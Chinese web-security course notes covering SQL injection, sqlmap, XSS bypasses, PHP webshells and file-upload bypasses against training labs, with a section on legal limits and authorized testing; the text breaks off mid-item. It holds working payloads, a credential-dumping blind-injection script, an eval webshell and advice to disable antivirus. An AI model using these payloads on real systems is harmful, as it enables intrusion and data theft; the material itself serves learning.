- 本地环境用本机 IP 访问,云服务器用服务器 IP 访问
2. PHP 版本兼容
- 经典错误:
mysql_connect()在新版 PHP 已弃用 - 解决:切换低版本 PHP(5.3/5.6,需配镜像源)或用
mysqli/PDO - 切换后必须重启 phpstudy 服务
- 低版本已停止维护,注意安全性;优先使用维护中的新版本
3. 权限问题
- root 权限过高,输错密码也可能登录 → 用普通用户测试密码
- 创建普通用户后必须正确分配数据库权限
六、Docker 与容器化
1. 解决版本冲突
- 场景:已有 PHP 8.4 环境,需运行仅支持 PHP 5.6 的老程序
- 方案:Docker 拉取低版本镜像 → 启动容器(与主机完全隔离)→ 端口映射
2. 端口映射
宿主机 9090 → 容器内部 9000
容器内端口需映射到宿主机端口才能被外部访问
3. 镜像获取
- Docker Hub 需外网;国内镜像源不稳定;可本地导入打包好的镜像
- 长期使用建议准备 VPN
4. 常用命令
podman ps # 查看运行中的容器
附录:核心命令速查
| 类别 | 命令 | |
|---|---|---|
| Linux | find / -type f -name "*.service"、chmod +x、mv、unzip | |
| Nginx | ./nginx、./nginx -s reload、`ss -antulp \ | grep 80` |
| MSF | search、use、show options、set、run/exploit、back、search -f | |
| MySQL | show databases;、use xxx;、SELECT ... WHERE/ORDER BY | |
| 传输 | python -m http.server 8080 | |
| 容器 | podman ps、docker ps |
第六天
一、环境搭建(Podman/Docker + Nginx + MariaDB + PHP)
1. 一键安装脚本与版本冲突
- 脚本自动安装 Podman + Nginx,简化手动配置
- 常见坑:之前用 apt 装过 Nginx → 版本冲突 → 重启后服务无法访问
- Nginx 1.22 与 pcre2 存在匹配问题
2. MariaDB 连接配置
- 源码安装后检查 MariaDB 是否成功
- 获取连接信息:数据库名 + 密码(手动输入)
- 容器有隔离性,必须专门配置才能建立连接
- 9056端口:关键连接端口,仅在容器启动时监听
3. 端口排查技巧
# 检查80端口(Nginx)
ss -antlp | grep 80
# 检查9000端口(PHP-FPM)
ss -antlp | grep 9000
# 检查应用端口
ss -antlp | grep 9050
- 80端口未启动 → 到
/usr/local/nginx/sbin/目录运行 - PHP 8.5 安装失败 → 改用容器镜像装 PHP 5.6
4. 容器问题排查流程(五步)
① podman ps → 容器是否运行?
② 查看nginx.conf → 端口配置是否一致?
③ ss -antlp | grep 9050 → 端口是否监听?
④ podman start [容器ID] → 重启容器
⑤ podman ps + status → 验证状态(running?)
核心原则: 边操作边验证(边操作边验证);结果导向(检查端口是否开启是最直接验证)。
5. 容器开机自启(systemd服务文件)
### 生成 service 文件
podman generate systemd --name [容器名] --files --new
配置步骤
# ① 移动文件到指定目录(用户级推荐)
mkdir -p ~/.config/systemd/user/
mv content-php56-fpm.service ~/.config/systemd/user/
# ② 启动服务
systemctl --user start content-php56-fpm.service
# ③ 检查状态(看到 active (running))
systemctl --user status content-php56-fpm.service
# ④ 设置开机自启
systemctl --user enable content-php56-fpm.service
关键原理
systemctl enable的前提:服务有对应的.service文件- 容器默认没有 → 需手动生成并移动
- 路径层级:
~/.config/systemd/user/(config → systemd → users)
6. Docker vs Podman
| 对比项 | Docker | Podman |
|---|---|---|
| 架构 | C/S(需dockerd守护进程) | 无守护进程(daemonless) |
| 安全 | root运行 | 支持rootless |
| 命令 | docker | podman |
| 本质 | 容器管理工具 | 容器管理工具(相同) |
两者本质相同,只是命令不同。容器技术是运维和安全的必备技能。
三、SQL注入(SQL Injection)
1. 注入原理
- 服务端 GET 获取用户参数后直接拼接进SQL语句,未经处理
OR 1=1永远为真 → WHERE 条件失效 → 返回所有数据
-- 正常: SELECT * FROM users WHERE id=12
-- 注入: SELECT * FROM users WHERE id=12 OR 1=1 → 泄露全部数据
2. 四步注入流程
① 判断输入类型(数字型/字符型)
② 确定闭合符(字符型)
③ 判断列数(ORDER BY)
④ 定位回显位置(UNION SELECT)
① 判断输入类型
| 类型 | 拼接方式 | 判断方法 |
|---|---|---|
| 数字型 | WHERE id=$id | and 1=2 生效(无结果)→ 数字型 |
| 字符型 | WHERE id='$id' | and 1=2 无影响(当文本)→ 字符型 |
② 确定闭合符(字符型)
常见闭合符:'、"、)、')、")
- 报错信息可反推闭合符类型
- 查看源代码直接确认拼接方式最直接
- 数字型注入不需要闭合符
③ ORDER BY 判断列数
ORDER BY 1 → 正常
ORDER BY 2 → 正常
ORDER BY 3 → 正常
ORDER BY 4 → 报错!→ 只有3列
原理:列号超出实际列数即报错;空结果不报错也说明该列存在。
④ 定位回显位置
id=-1 UNION SELECT 1,2,3 – 先让原查询无结果
- 页面显示哪个数字 → 该列就是回显位置
- 后续注入语句放在回显列上
完整利用链
-- 获取数据库名
-1 UNION SELECT 1,2,DATABASE()
-- 获取表名
-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME)
FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()
-- 获取列名
-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME)
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'
-- 获取数据
-1 UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password) FROM users
3. UNION 注入关键规则
- 前后列数必须完全一致,否则语法错误
- 列数不一致 → 补 NULL 对齐:
SELECT id, name, age FROM users
UNION
SELECT id, email, NULL FROM emails
- 常见错误:UNION后加逗号、字段位置写错、忘记闭合符
4. 注释符 --+
--是SQL行注释符- URL中空格被编码为
%20,注释符后面的空格可能失效 +在URL解码时 = 空格- 所以
--+=--+ 空格 → 注释正常生效
-- 错误(不带空格,失效)
id=1' OR 1=1-- → 后面单引号还在,语法错误
-- 正确
id=1' OR 1=1--+ → 注释掉剩余内容
- 替代方案:构造无效条件(
AND 1=2)吃掉多余代码段
5. 布尔盲注(Boolean Blind)
适用场景
- 无直接数据回显,只有页面真/假两种状态
原理示例
-- 判断数据库名长度
?id=1 AND LENGTH(DATABASE())=8 -- 页面正常=长度8
-- 逐个字符猜(ASCII比较)
?id=1 AND ASCII(SUBSTRING(DATABASE(),1,1))>80
二分法优化
直接挨个试 a-z(26次)太低效,用二分法:
第1次:ASCII > 80? → 是(范围 81-255)
第2次:ASCII < 100? → 是(范围 81-99)
第3次:ASCII < 90? → 否(范围 90-99)
第4次:ASCII < 95? → 否(范围 95-99)
第5次:ASCII = 97? → 是!→ ‘a’
- 效率:最坏 7 次(log₂128)vs 原始 26 次
- 猜数字原理:每次把范围砍掉一半
6. 时间盲注(Time-based Blind)
原理
IF(条件, SLEEP(3), 1)`
— 条件成立则响应延迟
-- 判断数据库名长度
?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+
-- 延迟3秒 → 长度=8;立即响应 → 长度≠8
-- 判断字符
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>80, SLEEP(3), 1)--+
特点
- 不需要知道具体列数
- 时间延迟即判断依据
- 缺点:慢、易被WAF检测、网络波动会误判
布尔 vs 时间盲注对比
| 对比项 | 布尔盲注 | 时间盲注 |
|---|---|---|
| 判断依据 | 页面内容差异 | 响应时间差异 |
| 速度 | 快(毫秒级) | 慢(每条件数秒) |
| 前提 | 有真假回显 | 无任何回显 |
| 优先顺序 | 优先使用 | 布尔不可用时的降级方案 |
7. 报错注入(Error-based)
原理
构造会报错的SQL语句,让报错信息泄露查询结果
核心函数
EXTRACTVALUE(xml_fragment, xpath_expression) -- XPath错误→报错
UPDATEXML(xml_target, xpath_expr, new_xml) -- XPath错误→报错
标准Payload
-- 获取数据库名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))--+
-- 获取表名
1' AND EXTRACTVALUE(1, CONCAT(0x7e,
(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES
WHERE TABLE_SCHEMA=DATABASE())))--+
-- 获取列名
1' AND EXTRACTVALUE(1, CONCAT(0x7e,
(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users')))--+
-- 获取数据
1' AND EXTRACTVALUE(1, CONCAT(0x7e,
(SELECT GROUP_CONCAT(username,0x3a,password) FROM users)))--+
特殊符号选择
| 符号 | 稳定性 | 说明 |
|---|---|---|
波浪线 ~(0x7e) | ★最稳定 | 推荐使用 |
星号 * | 一般 | 可能受URL编码影响 |
@ | 可用 | 能直接成功 |
&& | ✗ 不可用 | URL中=参数分隔符,解析错误 |
报错信息示例:
XPATH syntax error: '~security'— 数据库名已泄露
四、SQL查询技巧与函数速记
1. 核心函数速查
| 函数 | 作用 | 示例 |
|---|---|---|
LENGTH() | 字符串长度 | LENGTH('hello') → 5 |
ASCII() | 字符→ASCII码 | ASCII('A') → 65 |
SUBSTRING(s,p,n) | 截取 | SUBSTRING('database',1,3) → ‘dat’ |
CONCAT() | 字段拼接 | CONCAT(user,'--',pass) |
GROUP_CONCAT() | 多行合并一行 | 可指定 SEPARATOR 分隔符 |
DATABASE() | 当前数据库名 | SELECT DATABASE() |
VERSION() | 数据库版本 | SELECT VERSION() |
SLEEP(n) | 休眠n秒 | 时间盲注用 |
IF(c,a,b) | 三元判断 | IF(1>2,SLEEP(3),1) |
2. 分组与聚合
– GROUP BY 分组(配合聚合函数,否则只显示第一条)
SELECT customer, SUM(price) FROM orders GROUP BY customer
– GROUP BY 1 = 按第1列分组;超范围报错
– 聚合函数:SUM / COUNT / AVG / MAX / MIN
3. LIMIT 两种用法
| 用法 | 含义 | 示例 |
|---|---|---|
LIMIT n | 返回前n行 | LIMIT 2 → 第1、2行 |
LIMIT a,b | 从第a行(0计数)起返回b行 | LIMIT 1,2 → 第2、3行 |
双参数第二位是返回行数,不是截止行号!
分页公式:LIMIT (page-1)*size, size
4. LIKE 模糊匹配
LIKE ‘张%’ – 以"张"开头
LIKE ‘%张%’ – 包含"张"
LIKE ‘_三%’ – 第二字是"三"
5. information_schema 系统库
- 存储所有数据库的元数据(表、列信息)
-- 查特定库的表名
SELECT TABLE_NAME FROM information_schema.TABLES
WHERE TABLE_SCHEMA='security'
-- 查特定表的列名
SELECT COLUMN_NAME FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'
-- 合并显示
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES
WHERE TABLE_SCHEMA='security'
注意:
TABLE_SCHEMA=库名,TABLE_NAME=表名,COLUMN_NAME=列名- 当前库≠information_schema时,查询必须带库名前缀
- "column"易拼错,注意拼写
6. 分段截取(前端限制长度时)
-- 分块拼接:第1次取1-32位,第2次取33-64位...
SUBSTRING(data,1,32)
SUBSTRING(data,33,32)
-- 拼图式获取完整结果
五、Python 自动化盲注脚本
1. 布尔盲注脚本(二分法)
import requests
url = "http://192.168.50.1/vuln.php"
success = "正常页面特征字符串" # 根据实际页面调整
def check(payload):
r = requests.get(url, params={"id": payload}, timeout=5)
return success in r.text
判断数据库名长度(二分)
low, high = 1, 32
while low < high:
mid = (low + high) // 2
if check(f"1' AND LENGTH(DATABASE())>{mid}--+"):
low = mid + 1
else:
high = mid
length = low
print(f"[+] 长度: {length}")
逐个字符猜(二分)
db = ""
for pos in range(1, length + 1):
lo, hi = 32, 127
while lo < hi:
mid = (lo + hi) // 2
if check(f"1' AND ASCII(SUBSTRING(DATABASE(),{pos},1))>{mid}--+"):
lo = mid + 1
else:
hi = mid
db += chr(lo)
print(f"[+] {pos}位: {chr(lo)} → {db}")
print(f"[+] 数据库名: {db}")
2. 时间盲注脚本核心
import requests, time
def time_check(payload, threshold=3):
start = time.time()
requests.get(url, params={"id": payload}, timeout=10)
return time.time() - start > threshold
判断数据库名长度
if time_check("1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+"):
print("[+] 长度=8")
3. 调试常见问题
| 问题 | 解决 |
|---|---|
| 缺 requests 模块 | pip install requests |
| 目标地址写错 | 检查IP(如192写成129) |
| URL大小写错误 | 精确核对(大小写敏感) |
| 返回值判断不准 | 对比正常/异常页面找特征串 |
| 假阳性"完成" | 用目标命令严格管控执行 |
4. 响应验证方法
# ① 特征字符串匹配(最常用)
"正常" in response.text
# ② 页面长度比较
len(response.text) > 基准值
# ③ 时间测量(时间盲注)
elapsed > 3
第七天
一、渗透测试法律红线
- 未经授权的渗透测试属于违法行为,可能面临法律后果
- 不能擅自修改他人网站数据或影响正常运营,否则可能被起诉
- 即使发现漏洞,也需遵守规范流程(先看公告 → 按平台要求提交漏洞 → 拿奖励)
- 大平台(京东、淘宝等)都有 应急响应中心(SRC),合法测试才有回报
- 直接暴露真实IP非常危险,至少使用VPN防护;但挂VPN并不绝对安全,真实信息仍会被记录
二、SQL注入基础(MySQL)
1. 注入点类型判断
| 测试语句 | 结果 | 结论 |
|---|---|---|
1 and 1=2 | 无结果返回 | 数字型(and条件生效) |
1 and 1=2 | 仍有结果 | 字符型(语句被放入引号中执行) |
1' | 报错 | 引号未闭合,可继续构造payload |
2. 注释符
--+:+在URL中被解码为空格,--是SQL注释符#可能被URL识别为锚点导致失效- 空格被拦截时用
+或编码替代
3. 联合注入(Union Injection)
- 关键前提:联合查询的两个表字段数必须相同
- 先用
order by N探测列数:order by 3成功、order by 4报错 → 表有3列 - 示例:
union select 1,database()直接暴露当前数据库名(如 “security”) - 正常查询结果需返回空(如加
and 1=2),确保页面只显示注入结果
4. 登录绕过示例
密码框输入:admin’–
利用单引号闭合字符串,-- 注释掉后续SQL代码(密码验证被忽略)。根因:程序直接将用户输入拼接进SQL语句,无过滤、无参数化。
三、报错注入
1. 核心原理
利用SQL语句拼接时的语法检查机制,在真正执行查询前触发报错,通过报错信息泄露数据。
2. 常用函数
| 函数 | 注入利用 |
|---|---|
extractvalue(1, concat('~', 查询语句)) | 参数1随便填(常用1),参数2构造非法XPath路径 |
updatexml(1, concat('~', 查询语句), 1) | 同上,重点在第二个参数 |
floor() | 向下取整函数,构造参数同样可实现报错注入 |
3. 关键技巧
- 路径不以斜杠开头就会报错(如用
~、星号) concat('~', select database())拼接查询语句- 括号必须成对,参数数量必须精确(新手最易出错)
- 空格用
+代替(绕过WAF的常见手法)
四、information_schema 元数据查询
information_schema
├── tables → 存储所有表的结构信息
│ ├── table_schema → 表所属数据库名
│ └── table_name → 表名
└── columns → 存储所有列的结构信息
├── table_schema / table_name / column_name
-- 查询指定数据库的所有表
SELECT table_name FROM information_schema.tables
WHERE table_schema = 'security';
-- 查询指定表的所有列
SELECT column_name FROM information_schema.columns
WHERE table_schema = 'security' AND table_name = 'users';
注意事项:
- 表名要用单引号括起来,条件之间用 AND 连接
- 括号要匹配,漏引号或括号不匹配会报错
- 不同数据库(MySQL、PostgreSQL)的 information_schema 存在差异
五、二次注入
1. 原理(潜伏-触发两段式攻击)
- 第一次(被动存储):注入特殊字符(如
admin'#),系统转义后仍将"脏数据"存入数据库 - 第二次(主动执行):后续查询从数据库取出数据拼接成SQL语句,特殊字符生效触发注入
2. 比喻
就像投递假币被验钞机拦截,但假币仍存进金库;等下次取钱时,假币就流通出去了。
3. 防御缺陷
只在**入口(注册)做转义过滤(如 mysql_real_escape_string()),忽略了出口(登录)**的校验——"前紧后松"创造了攻击条件。对应关卡:第24关。
六、宽字节注入(GBK编码绕过)
1. 前置知识
- 1字节 = 8位二进制;ASCII码用单字节,GBK编码用双字节(宽字节)表示汉字
- 16进制用
0x前缀;a-f 对应十进制 10-15 - 换算示例:十六进制
5c→5×16 + 12 = 92;反过来92 ÷ 16 = 5 余 12→5c
2. 注入原理
- 输入单引号
'(URL编码%27),后端自动添加转义符\(%5c)→ 变成\' - 在单引号前加
%df,后端处理后为%df%5c - 在 GBK编码 中,
%df%5c被解析为一个汉字(“韵”) - 转义符被"吃掉",单引号成功逃逸,保持语句闭合 → 注入成功
3. 成功条件
- 后端使用 GBK编码 解码
- 闭合符前有转义字符
- 以GBK方式解码(MySQL 会主动尝试将连续字节解释为合法字符)
七、SQL注入进阶技巧
1. 十六进制编码绕过
-
将字符串(如
users)转ASCII码再转16进制(如0x7573657273),避免引号问题 -
MySQL能正确解析;关键不是必须用16进制,而是找到数据库能解析的合法格式
2. 常用函数
group_concat():将多行结果拼成一行concat():合并多列结果database():获取当前数据库名version():获取数据库版本
3. 其他注入点识别
- Cookie注入(第20关):服务器通过cookie验证用户身份,修改cookie中username即可注入
- Referer注入(第19关):
$U_agent变量存储了Referer的值,隐式插入后端查询 - User-Agent注入:原理同报错注入,在对应位置闭合原语句后跟报错注入函数
八、sqlmap 自动化注入工具
1. 基本用法
# GET请求注入
sqlmap -u "http://target.com/lab1?id=1"
# POST请求注入(先用Burp抓包保存为文件)
sqlmap -r request.txt
# 分步探测:数据库 → 表 → 列 → 数据
sqlmap -u "URL" -D security --tables
sqlmap -u "URL" -D security -T users --columns
sqlmap -u "URL" -D security -T users -C username,password --dump
2. 核心参数
| 参数 | 用途 |
|---|---|
-u | 指定GET请求URL |
-r | 从文件读取HTTP请求(支持GET/POST) |
-D / -T / -C | 指定数据库名 / 表名 / 列名 |
--tables / --columns / --dump | 获取表 / 列 / 导出数据 |
--dbs | 获取所有数据库名 |
--no-question | 不再询问确认,自动执行 |
--level (1-5) | 探测深度,越高请求越多,建议3 |
--risk (1-3) | 风险等级,谨慎选择(过高可能封号) |
-v (0-6) | 输出详细程度 |
-p | 精准指定要测试的参数位置 |
-H / --cookie | 添加请求头 / 携带Cookie |
--proxy | 指定代理 |
3. 代理监控
- 用
--proxy指定本地代理,让sqlmap流量经过Burp Suite,"可视化"监控原始请求 - 必须确保代理端口开放且配置正确,否则所有请求被阻断
-u只适用GET;POST必须用-r(先抓包存文件)- 参数顺序不能错;布尔盲注探测较慢属正常现象
九、Burp Suite 使用
- GET vs POST:GET参数显示在URL中;POST参数在URL不可见,需抓包查看
- 拦截(Intercept):测试前先关闭拦截,避免影响浏览器正常操作
- Repeater(重放器):反复修改参数(如username)观察页面响应
- 推荐 社区版(Community Edition);注意拼写 “Burp Suite”
十、SQL注入Payload速查
-- 联合注入:判断列数
?id=1 order by 3
?id=1 order by 4 -- 报错 → 共3列
-- 联合注入:获取数据库名
?id=-1 union select 1,database(),3
-- 联合注入:获取表名
?id=-1 union select 1,group_concat(table_name),3
from information_schema.tables where table_schema='security'
-- 联合注入:获取列名
?id=-1 union select 1,group_concat(column_name),3
from information_schema.columns where table_name='users'
-- 联合注入:获取数据
?id=-1 union select 1,group_concat(username),group_concat(password) from users
-- 报错注入:获取数据库版本
?id=1 and extractvalue(1,concat(0x7e,version()))
-- 报错注入:获取当前数据库
?id=1 and updatexml(1,concat(0x7e,database()),1)
-- 宽字节注入(GBK环境)
?id=%df' and 1=1 --+
?id=%df' union select 1,database(),3 --+
# sqlmap 常用命令
sqlmap -u "http://target?id=1" --dbs # 获取所有数据库
sqlmap -u "http://target?id=1" -D security --tables # 获取表名
sqlmap -u "http://target?id=1" -D security -T users --columns # 获取列名
sqlmap -u "http://target?id=1" -D security -T users -C username,password --dump # 导出数据
sqlmap -r request.txt # POST注入
sqlmap -u "http://target?id=1" --proxy="http://127.0.0.1:8080" # 代理监控
第八天
一、XSS 漏洞基础
1. XSS 是什么
- 全称:Cross-Site Scripting(跨站脚本攻击)
- 本质:恶意脚本被浏览器当作合法代码解析执行
- 成因:用户输入未过滤 + 输出未转义
- 面试高频点:连基本概念都答不上来会很尴尬
2. 三种 XSS 类型
| 类型 | 数据流向 | 数据库参与 | 影响范围 | 危害程度 |
|---|---|---|---|---|
| 反射型 | URL参数 → 服务器 → 反射回浏览器 | ❌ | 仅当前用户 | 低 |
| 存储型 | 提交 → 存库 → 所有用户读取执行 | ✅ | 所有访问者 | 高 |
| DOM型 | URL → 前端直接操作DOM树 | ❌ | 当前用户 | 低 |
反射型 XSS 关键特征
- 恶意脚本通过 URL 参数 传递,后端用
$_GET获取 - 未处理直接拼接进 HTML 返回
- 不存数据库,每次攻击只对当前用户生效
- 验证技巧:Chrome 触发后用 Edge 访问同一页面,不弹窗 = 反射型
存储型 XSS 关键特征
- 恶意脚本持久化存入数据库
- 攻击者埋雷,其他用户访问时自动触发
- 自动化传播,无需攻击者持续介入,危害最大
- 验证技巧:换浏览器访问仍弹窗 = 存储型
DOM 型 XSS 关键特征
- 完全在客户端执行,不经过服务器
- 攻击者构造恶意 URL → 受害者点击触发
- 数据插入位置由前端 JS 决定(如 innerHTML、href 属性)
- 找漏洞看源码中数据最终插入哪个 DOM 节点
二、PHP 基础
1. $_GET 传参
// URL: level1.php?name=张三
$str = $_GET['name']; // $str = "张三"
- 参数在 URL 问号
?后面,多个参数用&连接 - 明文显示在地址栏,安全性低,适合非敏感数据
- 传参必须在正确的页面操作
2. htmlspecialchars() 转义函数
$str = "<script>alert(1)</script>";
echo htmlspecialchars($str);
// 输出 <script>alert(1)</script> —— 浏览器只显示文本不执行
| 字符 | 实体编码 |
|---|---|
< | < |
> | > |
" | " |
' | ' |
⚠️ 关键坑:旧版本默认只转义双引号,不转义单引号 → 留下利用空间 修复:
htmlspecialchars($str, ENT_QUOTES)双引号单引号都转
三、XSS 绕过技巧
1. 引号闭合绕过
<!-- 原始 -->
<input type="text" value="用户输入">
<!-- 输入 " onfocus="alert(1) -->
<input type="text" value="" onfocus="alert(1)">
原理:
- 提前闭合双引号跳出 value 属性
- 用尖括号闭合 input 标签
- 插入恶意事件属性
- 浏览器优先解析 HTML 结构,语法正确就执行
2. 大小写绕过
<!-- 过滤了 on/script 但没做大小写转换 -->
<INPUT ONFOCUS="alert(1)"> <!-- 有效,HTML 不区分大小写 -->
3. 双写绕过(单次过滤缺陷)
| 输入 | 过滤(删除关键词一次) | 结果 |
|---|---|---|
oonn | 删中间的 on | on ✅ |
scrscriptipt | 删中间的 script | script ✅ |
<scr<script>ipt>alert(1)</scr<script>ipt>
4. javascript: 伪协议
<a href="javascript:alert(1)">点击</a>
- href 支持伪协议,点击即执行 JS
- 某些场景可不带引号直接写
5. 事件属性注入(转义失效时的出路)
| 事件 | 触发条件 | 示例 |
|---|---|---|
onclick | 点击 | onclick="alert(1)" |
onfocus | 获得焦点 | onfocus="alert(1)" |
onerror | 加载失败 | <img src=x onerror=alert(1)> |
onload | 加载完成 | <body onload=alert(1)> |
6. 注释符绕过(协议冲突解决)
javascript:alert(123)//http://
//是 JS 单行注释,后面的http:被忽略- 解决"协议头校验 + javascript:"冲突
7. 换行符 %0a 绕过
URL 中换行符编码:%0a
HTML 会把换行符解析为空格
- 当空格和
/被过滤时,用%0a代替空格 - 例:
%0a%0a onload=alert(1)实现属性注入
3.8 编码绕过(实验性)
- 思路:编码变形骗过后端校验 + 浏览器能正确解码还原
- Unicode 编码不是万能:宽字符编码浏览器无法执行,16进制编码效果又不同
- 关键:编码后的内容含引号会导致语法错误;能否执行取决于后端是否二次解码
- 反斜杠 U 形式(
\u)编码在 XSS 场景下无效 - 没有标准答案,需要反复测试不同编码变体
3.9 隐藏参数绕过
- 页面可能携带隐藏的表单值(type=hidden)
- 找不到输入点时:看源码 / 抓包 / 移除隐藏属性后注入
四、XSS Labs 全关卡通关要点
| 关卡 | 考察点 | 通关思路 |
|---|---|---|
| 1 | GET 传参 | 正确页面传参 ?name=xxx |
| 2 | 无过滤输出 | 直接插入 <script>alert(123)</script> |
| 3 | htmlspecialchars 转义 | 单引号闭合 + onfocus 事件 |
| 4 | 函数功能理解 | 看源码分析漏洞位置 |
| 5 | 输入过滤升级 | 事件绕过,on 已禁用 |
| 6 | 关键词插下划线 | 大写字母绕过(ON 代替 on) |
| 7 | 单次替换过滤 | 双写绕过 |
| 8 | 引号实体化 | javascript: 伪协议 / her(href) 属性 |
| 9 | http:// 协议校验 | javascript:alert(1)//http: 注释绕过 |
| 10 | 隐藏表单值 | 移除隐藏属性 / 抓包改属性 |
| 11 | Referer 头 | Burp Suite 抓包修改 Referer |
| 12 | User-Agent 头 | 修改 T-ua 字段 |
| 13 | Cookie | 修改 Cookie 字段 |
| 14 | 较简单 | 常规思路 |
| 15 | 页面嵌套 | 嵌套另一个页面(iframe) |
| 16 | 空格/斜线被过滤 | %0a 换行符代替空格 |
XSS 利用三条件(贯穿所有关卡):
- 用户输入可控
- 浏览器能解析执行恶意代码
- 有回显机制让攻击者看到结果
五、一句话木马(WebShell)
1. 原理
<?php @eval($_POST['cmd']); ?>
- 极简恶意代码,一个文件控制服务器
- 核心函数:
eval()—— 把参数当 PHP 代码执行 @抑制错误提示
2. 代码执行 → 系统命令执行
// 攻击者传入:system('whoami')
// eval 执行后:
system('whoami'); // 执行系统命令
// GET 版本
http://target/shell.php?cmd=system('ipconfig');
system()执行系统命令(whoami、ipconfig 等)- 本质:把代码执行转换成系统命令执行,等于开后门
3. 管理工具
| 工具 | 特点 |
|---|---|
| 蚁剑 | 主流,功能全 |
| 冰蝎 | 加密流量,免杀 |
| 菜刀 | 经典老牌 |
4. Windows 实时保护对抗
- 一句话木马文件刚保存就可能被 Defender 实时保护删除
- 处理:关闭实时保护 + 防火墙
- 注意:实时保护会自动重新开启(防火墙可永久关闭)
六、文件上传漏洞
1. 攻击流程
- 上传恶意文件(一句话木马 .php)
- 绕过前端校验(改后缀 .png / 抓包改回 .php)
- 文件存入服务器
- 必须知道存储路径才能利用 ← 关键
2. 关键知识点
| 要点 | 说明 |
|---|---|
| 前端校验不可靠 | 改后缀、删 maxlength 即可绕过 |
| 抓包绕过 | Burp Suite 拦截请求改文件后缀 |
| 路径定位 | 实际存储路径可能和预期不同(多几层目录) |
| 上传≠可利用 | 不知道路径,文件等于"消失" |
七、HTTP 头字段利用
| 字段 | 关卡 | 操作 |
|---|---|---|
Referer | 11 | 抓包 → 修改 Referer 头(可手动构造 type=test) |
User-Agent | 12 | 修改 UA 字段(T-ua) |
Cookie | 13 | 修改 Cookie 值 |
注意:拼写 referer/refer 容易错;抓包要确认操作的是正确页面,容错率低
八、环境配置
1. 数据库连接排查清单
- PHP 版本是否正确(皮卡丘要 7.3.4,DVWA 可能用 5.3)
- 端口号(默认 3306,实际可能是 3307)
- 密码是否一致(面板显示 ≠ 真实密码)
- 配置文件(只改一个文件不够,其他文件默认 3306)
- 区分本地环境 和 Ubuntu 环境(完全隔离)
2. 常用操作
# 重启 Nginx(修改配置后生效)
cd sbin && ./nginx -s reload
# Open Code 恢复会话
opencode session list # 查看历史会话
opencode -s <session_id> # 恢复会话
3. 靶场工具
| 工具 | 用途 |
|---|---|
| phpstudy | PHP 集成环境 |
| DVWA | Web 安全靶场 |
| 皮卡丘 pikachu | 存储型/反射型演示 |
| XSS Labs | XSS 专项 16 关 |
| Burp Suite | 抓包代理 |
第九天
一、基础知识
1. 文件上传三要素
- 文件能成功上传——绕过前端校验和后端基础过滤
- 能找到上传后的文件路径——必须知道文件被保存到哪个目录
- 该路径能被当作 PHP 代码执行——服务器配置允许 PHP 解析
上传成功只是第一步,三步缺一不可。
2. 一句话木马
<?php @eval($_POST['cmd']);?>
@:抑制错误输出eval():执行字符串形式的 PHP 代码- 利用:
cmd=phpinfo()看信息;cmd=system('命令')执行系统命令
3. 易混淆概念
- PHP 代码执行 ≠ 系统命令执行:
eval()是解析器级别,system()是命令行级别 - 分号必须准确:多一个少一个都会报错
- PHP 是弱类型语言,与 Python 语法相似
- 连接密码 = 传参的参数名(如 cmd、password),不是传统意义的密码
二、各关卡漏洞与绕过
第 1 类:前端 JS 校验(第一关)
- 系统仅靠前端 JS 校验文件类型
- 绕过:①禁用浏览器 JS ②Burp Suite 拦截修改请求
- 结论:仅靠前端校验等于没有校验
第 2 类:Content-Type 校验(第二关)
- 后端白名单校验
Content-Type:image/png、image/jpg、image/gif - 绕过:Burp Suite 把
text/php改成image/jpeg - 结论:客户端提交的 Content-Type 完全可伪造,仅依赖它校验存在严重隐患
第 3 类:后缀名修改(双重扩展名绕过)
- 步骤:
.php→.png骗过前端 → 抓包改回.php→ 确认路径 → 攻击 - 注意:代码语法错误时可直接改服务器上的文件(3w 目录下 upload 文件夹),不用重新上传
第 4 类:Apache 解析漏洞(第三关)
- Apache 会把
.php3、.php5、.php7也当 PHP 执行;Nginx 不一定支持 - 关键在
httpd.conf的 MIME 映射:
AddType application/x-httpd-php .php3 .php5
- 通配符配置
AddType application/x-httpd-php .php会使所有 php 开头文件都被当 PHP 处理 - 若该配置缺失,上传 .php3 也不会被解析——这是攻击能否成功的分水岭
第 5 类:.htaccess 配置利用(第四关)
.htaccess是 Apache 目录级配置文件,可改变目录下文件的解析行为- 利用:上传
.htaccess(不在黑名单),强制 jpg 当 PHP 解析
AddType application/x-httpd-php .jpg
- 进阶:配置规则让
.gpt等自定义后缀交给 PHP 解析器 - 重定向玩法:访问 php 文件时自动加载同目录 jpg 内容
- 生效条件:①必须 Apache ②httpd.conf 中
AllowOverride设为All(None 则完全忽略) - 注意:文件名是
.htaccess(没有 P,点开头);隐藏后缀名(如 .tmt)要完全去掉 - Content-Type 只是声明,set header 才决定解析方式
第 6 类:user.ini 配置利用(第五关)
- 第五关黑名单禁用了 .htaccess,改用 PHP 目录级配置
user.ini覆盖 php.ini - 利用(预加载机制):
auto_prepend_file=test.jpg
- 效果:访问该目录任何 PHP 文件时,先把 test.jpg 内容插入文件开头再执行(文件包含攻击)
- 生效关键:必须 php-fpm 模式运行 PHP(传统 Apache 模块方式 user.ini 失效)
- 排查:phpinfo() 或进程查看确认运行模式;phpStudy 中可切换版本/运行组合
第 7 类:Windows 文件流 ADS(第八关)
- Windows 文件由多个数据流组成,
文件名:流名访问非默认流 - 上传文件名加冒号 dollar date 不报错,但访问会 403
- 仅适用于 Windows;Linux 文件流机制不同
第 8 类:Magic Number 文件头校验
- 系统读文件头两字节判断类型:255216=jpg、13780=png、7173=gif,其他=未知(失败)
- 改后缀没用,检查的是文件内容"身份证"(二进制头)
- 绕过:文件内容前加
GIF89a即可骗过(第 13 关)
第 9 类:图片马(图片木马)
- 制作:
